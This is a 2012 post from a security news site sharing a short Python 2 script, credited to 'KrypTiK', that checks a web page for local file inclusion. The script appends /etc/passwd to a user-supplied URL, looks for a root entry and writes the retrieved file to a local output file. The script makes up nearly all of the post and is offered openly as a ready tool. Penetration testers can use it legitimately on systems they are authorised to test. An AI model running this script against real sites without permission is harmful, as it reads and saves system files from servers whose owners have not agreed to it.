Zerosecurity
  • Home
  • Security
    • Exploits
    • Mobile Security
  • Malware
  • Data Breaches
  • Crypto
  • Privacy
  • Tech
    • Downloads
      • Malwarebytes
      • Exploits
      • Paper Downloads
    • Reviews
No Result
View All Result
SUBSCRIBE
Zerosecurity
  • Home
  • Security
    • Exploits
    • Mobile Security
  • Malware
  • Data Breaches
  • Crypto
  • Privacy
  • Tech
    • Downloads
      • Malwarebytes
      • Exploits
      • Paper Downloads
    • Reviews
No Result
View All Result
Zerosecurity
No Result
View All Result
Home Security

Python LFI Tester

Paul Anderson by Paul Anderson
August 8, 2012 - Updated on May 26, 2022
in Security, Tools
Reading Time: 1 min read
3
292px
2
SHARES
31
VIEWS
Share on FacebookShare on Twitter

A small script that tests for LFI or local file inclusion vulnerability.  This script is written in Python.

You might also like

US Government Targets North Korea-Linked Cyber Threat, Lazarus, and Seizes Crypto Service

Researchers Expose Gaza Charity Crypto Scam

Europol and Local Forces Disband Multi-Million Dollar Vishing Ring

Written by: KrypTiK

#!/usr/bin/python 
# -*- coding: utf-8 -*- 
# Made By KrypTiK 
import httplib2 
import urllib2 
import sys 
import re 
print "Ex. http://127.0.0.1/index.php?page=" 
baseurl = raw_input("Enter a url: ") 
if 'http://' not in baseurl:  
    baseurl = 'http://' + baseurl 
url = baseurl+"/etc/passwd" 
fout = raw_input("Enter output file: ") 
http = httplib2.Http() 
req = urllib2.Request(url) 
try: 
    http.request(url) 
except IOError: 
    print "URL not found!" 
    sys.exit() 
else: 
    pass 
response, content = http.request(url) 
if response.status == 200: 
    if re.search("/root:/bin/bash",content): 
        print baseurl+" is vulnerable! (Linux)" 
        out = open(fout, "w") 
        out.write(url+"\n\n"+urllib2.urlopen(req).read()) 
        out.close() 
    else: 
        print baseurl+" is not vulnerable!" 
elif response.status == 404: 
        print baseurl+" was not found!" 
else: 
    print response.status
Tags: LFIpython
Paul Anderson

Paul Anderson

Editor and chief at ZeroSecurity. Expertise includes programming, malware analysis, and penetration testing. If you would like to write for ZeroSecurity, please click "Contact us" at the bottom of the page.

Recommended For You

Cyber threat Lazarus, active for a decade, stole $2B+ in digital assets. Sinbad.io crypto mixer aids laundering. Despite sanctions, Lazarus remains resilient, evolving tactics for complex attacks.

US Government Targets North Korea-Linked Cyber Threat, Lazarus, and Seizes Crypto Service

November 30, 2023
Researchers Expose Gaza Charity Crypto Scam

Researchers Expose Gaza Charity Crypto Scam

November 20, 2023

Europol and Local Forces Disband Multi-Million Dollar Vishing Ring

November 19, 2023

Chinese Scammers Cloning Websites for Massive Gambling Scam in Asia-Pacific Region

November 15, 2023

Cybersecurity Breach Paralyzes Key Australian Ports: National Response Initiated

November 12, 2023

Latest Ukrainian Power Outage Linked to Sandworm Cyber Group

November 9, 2023
Next Post
AU Institute of Business Brokers #OpAustralia

AU Institute of Business Brokers #OpAustralia

Comments 3

  1. Zer0Security says:
    11 years ago

    #Python #LFI Tester http://t.co/nAfAH3dA

    Reply
  2. Sorcier_FXK says:
    11 years ago

    RT @Zer0Security: Python #LFI Tester – @Zer0Security http://t.co/aa9M3cmu
    #file

    Reply
  3. Zer0Security says:
    11 years ago

    Python #LFI Tester – @Zer0Security http://t.co/aa9M3cmu
    #file

    Reply

Leave a Reply Cancel reply

Your email address will not be published. Required fields are marked *

Related News

FBI dismantles IPStorm botnet, arrests Sergei Makinin, ending a 4-year cybercrime spree. A major win against global online threats.

FBI Shuts Down Notorious IPStorm Botnet, Arrests Mastermind Sergei Makinin after Four-Year Cybercrime Spree

November 21, 2023
Researchers Expose Gaza Charity Crypto Scam

Researchers Expose Gaza Charity Crypto Scam

November 20, 2023
Global success: Europol, Czech, and Ukrainian police unite to dismantle a multi-million dollar vishing ring targeting Czech bank customers. Ten arrests made in a joint effort against cybercrime.

Europol and Local Forces Disband Multi-Million Dollar Vishing Ring

November 19, 2023
Zerosecurity

We cover the latest in Information Security & Blockchain news, as well as threat trends targeting both sectors.

Categories

  • Crypto
  • Data Breaches
  • DotNet Framework
  • Downloads
  • Exploits
  • Exploits
  • Information
  • Legal
  • Malware
  • Malware Analysis
  • Mobile Security
  • Paper Downloads
  • Piracy
  • Privacy
  • Programming
  • Public
  • Security
  • Security
  • Software & Service Reviews
  • Technology
  • Tools
  • Tutorials
  • Video Tutorials
  • Whitepapers
  • Zero Security
  • Contact us
  • Press
  • Writers
  • Privacy Policy

© 2023 ZeroSecurity, All Rights Reserved.

No Result
View All Result
  • Home
  • Security
    • Tools
  • Exploits
  • Data Breaches
  • Malware
  • Privacy
  • Mobile Security
  • Contact Us
    • Press
  • Privacy Policy

© 2023 ZeroSecurity, All Rights Reserved.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.